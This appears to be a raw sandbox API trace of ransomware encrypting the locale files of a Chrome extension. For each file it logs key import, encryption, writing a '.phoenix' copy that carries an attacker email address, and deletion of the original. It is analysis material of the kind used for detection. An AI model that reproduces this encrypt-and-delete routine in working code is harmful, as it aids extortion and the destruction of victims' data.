	[0262.697] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\fil\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\fil\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0262.697] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151440) returned 1
	[0262.697] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0262.697] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x2b4, lpOverlapped=0x0) returned 1
	[0262.724] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2c0, dwBufLen=0x2c0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2c0) returned 1
	[0262.724] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x2c0, lpOverlapped=0x0) returned 1
	[0262.725] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151040) returned 1
	[0262.725] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0262.725] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0262.725] CryptDestroyKey (hKey=0x151040) returned 1
	[0262.725] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0262.725] CryptDestroyKey (hKey=0x151440) returned 1
	[0262.725] CloseHandle (hObject=0x2b0) returned 1
	[0262.725] CloseHandle (hObject=0x310) returned 1
	[0262.725] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\fil\\messages.json")) returned 1
	[0262.726] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0262.726] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0262.727] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=708) returned 1
	[0262.727] CloseHandle (hObject=0x310) returned 1
	[0262.727] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\fr\\messages.json")) returned 0x20
	[0262.727] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\fr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\fr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.727] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0262.727] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0262.727] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0262.728] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\fr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\fr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0262.728] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151600) returned 1
	[0262.728] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0262.728] ReadFile (in: hFile=0x310, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x2c4, lpOverlapped=0x0) returned 1
	[0262.800] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2d0) returned 1
	[0262.800] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x2d0, lpOverlapped=0x0) returned 1
	[0262.801] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151040) returned 1
	[0262.801] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0262.801] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0262.801] CryptDestroyKey (hKey=0x151040) returned 1
	[0262.801] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0262.801] CryptDestroyKey (hKey=0x151600) returned 1
	[0262.801] CloseHandle (hObject=0x310) returned 1
	[0262.801] CloseHandle (hObject=0x2b0) returned 1
	[0262.801] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\fr\\messages.json")) returned 1
	[0262.802] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0262.802] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0262.803] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=710) returned 1
	[0262.803] CloseHandle (hObject=0x2b0) returned 1
	[0262.803] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\hu\\messages.json")) returned 0x20
	[0262.803] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\hu\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\hu\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.803] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0262.803] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0262.803] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0262.803] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\hu\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\hu\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0262.804] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151100) returned 1
	[0262.804] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0262.804] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x2c6, lpOverlapped=0x0) returned 1
	[0262.819] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2d0) returned 1
	[0262.819] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x2d0, lpOverlapped=0x0) returned 1
	[0262.820] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1517c0) returned 1
	[0262.820] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0262.820] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0262.820] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0262.820] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0262.820] CryptDestroyKey (hKey=0x151100) returned 1
	[0262.820] CloseHandle (hObject=0x2b0) returned 1
	[0262.820] CloseHandle (hObject=0x310) returned 1
	[0262.820] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\hu\\messages.json")) returned 1
	[0262.821] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0262.821] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\it\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0262.821] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=622) returned 1
	[0262.821] CloseHandle (hObject=0x310) returned 1
	[0262.822] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\it\\messages.json")) returned 0x20
	[0262.822] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\it\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\it\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.822] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0262.822] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0262.822] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0262.822] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\it\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\it\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0262.822] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1517c0) returned 1
	[0262.822] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0262.822] ReadFile (in: hFile=0x310, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x26e, lpOverlapped=0x0) returned 1
	[0262.845] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x270, dwBufLen=0x270 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x270) returned 1
	[0262.846] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x270, lpOverlapped=0x0) returned 1
	[0262.846] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151480) returned 1
	[0262.846] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0262.846] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0262.846] CryptDestroyKey (hKey=0x151480) returned 1
	[0262.846] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0262.847] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0262.847] CloseHandle (hObject=0x310) returned 1
	[0262.847] CloseHandle (hObject=0x2b0) returned 1
	[0262.847] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\it\\messages.json")) returned 1
	[0262.848] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0262.848] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0262.848] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=669) returned 1
	[0262.848] CloseHandle (hObject=0x2b0) returned 1
	[0262.848] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ko\\messages.json")) returned 0x20
	[0262.849] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ko\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ko\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.849] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0262.849] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0262.849] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0262.849] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ko\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ko\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0262.849] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1517c0) returned 1
	[0262.849] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0262.849] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x29d, lpOverlapped=0x0) returned 1
	[0262.863] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2a0, dwBufLen=0x2a0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2a0) returned 1
	[0262.863] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x2a0, lpOverlapped=0x0) returned 1
	[0262.864] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151600) returned 1
	[0262.864] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0262.864] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0262.864] CryptDestroyKey (hKey=0x151600) returned 1
	[0262.864] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0262.864] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0262.864] CloseHandle (hObject=0x2b0) returned 1
	[0262.864] CloseHandle (hObject=0x310) returned 1
